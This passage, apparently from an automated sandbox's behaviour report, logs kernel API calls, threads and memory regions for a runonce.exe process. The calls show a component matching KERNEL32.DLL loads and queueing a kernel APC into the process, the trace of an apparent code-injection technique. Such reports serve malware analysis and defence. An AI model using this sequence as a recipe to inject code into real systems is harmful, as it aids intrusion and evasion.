(Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 278 os_tid = 0x464 Thread: id = 280 os_tid = 0x46c [0109.527] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.527] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 281 os_tid = 0x470 [0103.985] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 282 os_tid = 0x474 [0090.087] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsrslvr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.091] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.092] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.092] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.093] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.129] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.159] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsext.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.162] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.162] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.291] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 283 os_tid = 0x478 [0090.175] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 286 os_tid = 0x484 [0090.292] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.293] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 287 os_tid = 0x488 [0090.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0090.297] IdePortDispatch () returned 0x103 [0090.299] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.308] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.338] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 288 os_tid = 0x48c Thread: id = 289 os_tid = 0x490 Thread: id = 291 os_tid = 0x498 Thread: id = 292 os_tid = 0x49c Thread: id = 306 os_tid = 0x4b8 Thread: id = 331 os_tid = 0x554 Thread: id = 407 os_tid = 0x688 [0102.724] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkssvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.729] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.730] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netjoin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.782] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 414 os_tid = 0x6a8 Thread: id = 415 os_tid = 0x6ac [0103.286] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 416 os_tid = 0x6b4 [0103.328] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\vssapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.334] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.336] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\vsstrace.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.418] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.419] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samlib.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.452] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.460] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.541] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.546] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\es.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.619] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 418 os_tid = 0x6bc [0103.485] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.494] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.495] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ncsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.496] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winhttp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.496] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\webio.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.497] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.583] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.588] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.638] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ssdpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 419 os_tid = 0x6c0 Thread: id = 424 os_tid = 0x6d4 Thread: id = 425 os_tid = 0x6d8 Thread: id = 426 os_tid = 0x6dc Thread: id = 427 os_tid = 0x6e0 [0104.948] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bcrypt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.949] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bcryptprimitives.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 487 os_tid = 0x6b0 Thread: id = 488 os_tid = 0x7d8 Thread: id = 508 os_tid = 0x4a8 Thread: id = 509 os_tid = 0x4b0 Process: id = "27" image_name = "runonce.exe" filename = "c:\\windows\\syswow64\\runonce.exe" page_root = "0xa553000" os_pid = "0x4d0" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x140" cmd_line = "C:\\Windows\\SysWOW64\\runonce.exe /Run6432" cur_dir = "C:\\Windows\\SysWOW64\\" Region: id = 2450 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2451 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2452 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2453 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2454 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2455 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2456 start_va = 0x100000 end_va = 0x10efff entry_point = 0x106f62 region_type = mapped_file name = "runonce.exe" filename = "\\Windows\\SysWOW64\\runonce.exe" Region: id = 2457 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2458 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2459 start_va = 0x77e30000 end_va = 0x77faffff entry_point = 0x77e30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" Region: id = 2460 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2461 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2462 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2463 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2464 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2465 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2466 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2467 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2468 start_va = 0x74560000 end_va = 0x74567fff entry_point = 0x745620f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" Region: id = 2469 start_va = 0x74570000 end_va = 0x745cbfff entry_point = 0x745af798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" Region: id = 2470 start_va = 0x745d0000 end_va = 0x7460efff entry_point = 0x745fde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" Region: id = 2510 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2511 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2512 start_va = 0x5d0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 2513 start_va = 0x76300000 end_va = 0x7640ffff entry_point = 0x763132d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" Region: id = 2514 start_va = 0x77480000 end_va = 0x774c5fff entry_point = 0x77487478 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" Region: id = 2515 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x0 region_type = private name = "private_0x0000000077a30000" filename = "" Region: id = 2516 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x0 region_type = private name = "private_0x0000000077b50000" filename = "" Region: id = 2517 start_va = 0xb0000 end_va = 0xbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2518 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2519 start_va = 0x743c0000 end_va = 0x7455dfff entry_point = 0x743ee6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" Region: id = 2520 start_va = 0x75980000 end_va = 0x7598bfff entry_point = 0x759810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" Region: id = 2521 start_va = 0x75990000 end_va = 0x759effff entry_point = 0x759aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" Region: id = 2522 start_va = 0x75a80000 end_va = 0x75b7ffff entry_point = 0x75a9b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" Region: id = 2523 start_va = 0x75ca0000 end_va = 0x75d3cfff entry_point = 0x75cd3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" Region: id = 2524 start_va = 0x75d60000 end_va = 0x75ebbfff entry_point = 0x75daba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" Region: id = 2525 start_va = 0x75fc0000 end_va = 0x7606bfff entry_point = 0x75fca472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" Region: id = 2526 start_va = 0x76210000 end_va = 0x76266fff entry_point = 0x76229ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" Region: id = 2527 start_va = 0x76510000 end_va = 0x765fffff entry_point = 0x76520569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" Region: id = 2528 start_va = 0x76600000 end_va = 0x76609fff entry_point = 0x766036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" Region: id = 2529 start_va = 0x76610000 end_va = 0x77259fff entry_point = 0x76691601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" Region: id = 2530 start_va = 0x772d0000 end_va = 0x7736ffff entry_point = 0x772e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" Region: id = 2531 start_va = 0x77370000 end_va = 0x77388fff entry_point = 0x77374975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" Region: id = 2532 start_va = 0x77390000 end_va = 0x7741ffff entry_point = 0x773a6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" Region: id = 2533 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2534 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2535 start_va = 0xc0000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2536 start_va = 0x230000 end_va = 0x3b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 2537 start_va = 0x77420000 end_va = 0x7747ffff entry_point = 0x7743158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" Region: id = 2538 start_va = 0x77710000 end_va = 0x777dbfff entry_point = 0x7771168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" Region: id = 2539 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2540 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2541 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0xf0000 region_type = mapped_file name = "runonce.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\runonce.exe.mui" Region: id = 2542 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2543 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2544 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2545 start_va = 0x440000 end_va = 0x5c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2546 start_va = 0x6d0000 end_va = 0x1acffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 2548 start_va = 0x77920000 end_va = 0x77949fff entry_point = 0x779212fa region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\SysWOW64\\imagehlp.dll" Region: id = 2549 start_va = 0x1bd0000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 2550 start_va = 0x75b80000 end_va = 0x75c9cfff entry_point = 0x75b8158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" Region: id = 2551 start_va = 0x75ec0000 end_va = 0x75fb4fff entry_point = 0x75ec1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" Region: id = 2552 start_va = 0x764d0000 end_va = 0x764dbfff entry_point = 0x764d238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" Region: id = 2553 start_va = 0x77510000 end_va = 0x7770afff entry_point = 0x775122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" Region: id = 2554 start_va = 0x777e0000 end_va = 0x77915fff entry_point = 0x777e1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" Region: id = 2555 start_va = 0x77950000 end_va = 0x779defff entry_point = 0x77953fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" Region: id = 2562 start_va = 0x1d90000 end_va = 0x205efff entry_point = 0x1d90000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2720 start_va = 0x1ad0000 end_va = 0x1b03fff entry_point = 0x0 region_type = private name = "private_0x0000000001ad0000" filename = "" Region: id = 2721 start_va = 0x1b10000 end_va = 0x1b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 2722 start_va = 0x1d00000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 2723 start_va = 0x758f0000 end_va = 0x7596ffff entry_point = 0x759037c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" Region: id = 2724 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2737 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2738 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2739 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2740 start_va = 0x1c10000 end_va = 0x1ceefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c10000" filename = "" Region: id = 2741 start_va = 0x2130000 end_va = 0x216ffff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 2742 start_va = 0x21f0000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 2743 start_va = 0x2230000 end_va = 0x226ffff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 2744 start_va = 0x76440000 end_va = 0x764c2fff entry_point = 0x764423d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" Region: id = 2745 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2864 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 2865 start_va = 0x757f0000 end_va = 0x758e4fff entry_point = 0x75800d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" Region: id = 2866 start_va = 0x75d40000 end_va = 0x75d51fff entry_point = 0x75d41441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" Region: id = 2867 start_va = 0x76070000 end_va = 0x7620cfff entry_point = 0x760717e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" Region: id = 2868 start_va = 0x764e0000 end_va = 0x76506fff entry_point = 0x764e58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" Region: id = 2941 start_va = 0x2270000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 2942 start_va = 0x2370000 end_va = 0x2762fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 2943 start_va = 0x75790000 end_va = 0x757b0fff entry_point = 0x7579145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" Region: id = 2944 start_va = 0x779e0000 end_va = 0x77a24fff entry_point = 0x779e11e1 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" Region: id = 2945 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2946 start_va = 0x1b50000 end_va = 0x1b65fff entry_point = 0x1b50000 region_type = mapped_file name = "{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" Region: id = 2947 start_va = 0x75780000 end_va = 0x7578afff entry_point = 0x75781992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" Thread: id = 307 os_tid = 0x4d4 [0092.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\runonce.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\SysWOW64\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.433] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.445] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64win.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64cpu.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.489] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0092.489] IoIs32bitProcess (Irp=0x0) returned 1 [0092.489] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0092.490] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0092.490] IoIs32bitProcess (Irp=0x0) returned 1 [0092.490] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0092.490] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0092.490] RtlImageDirectoryEntryToData (in: BaseAddress=0x76300000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002aca6b0 | out: Size=0xfffff88002aca6b0) returned 0x763bfa00 [0092.495] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0092.495] RtlImageDirectoryEntryToData (in: BaseAddress=0x76300000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002aca6b0 | out: Size=0xfffff88002aca6b0) returned 0x763bfa00 [0092.495] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0092.495] RtlImageDirectoryEntryToData (in: BaseAddress=0x76300000, MappedAsImage=1, Directory=0x0, Size=0xfffff88002aca6b0 | out: Size=0xfffff88002aca6b0) returned 0x763bfa00 [0092.495] IoGetCurrentProcess () returned 0xfffffa8003878630 [0092.496] PsGetProcessPeb () returned 0x7efdf000 [0092.496] IoGetCurrentProcess () returned 0xfffffa8003878630 [0092.496] PsGetProcessPeb () returned 0x7efdf000 [0092.496] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0092.496] IoIs32bitProcess (Irp=0x0) returned 1 [0092.496] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0092.496] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.104] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0093.104] IoIs32bitProcess (Irp=0x0) returned 1 [0093.104] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0093.104] IoGetCurrentProcess () returned 0xfffffa8003878630 [0093.104] PsGetProcessPeb () returned 0x7efdf000 [0093.104] IoGetCurrentProcess () returned 0xfffffa8003878630 [0093.104] PsGetProcessPeb () returned 0x7efdf000 [0093.104] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8002a427c0 [0093.104] KeInitializeApc (Apc=0xfffffa8002a427c0, Thread=0xfffffa800379bb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0093.104] KeInsertQueueApc (Apc=0xfffffa8002a427c0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0093.104] ExFreePoolWithTag (P=0xfffffa8002a427c0, Tag=0x0) [0093.104] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003891010 [0093.104] IoGetCurrentProcess () returned 0xfffffa8003878630 [0093.104] PsGetCurrentProcessId () returned 0x4d0 [0093.104] 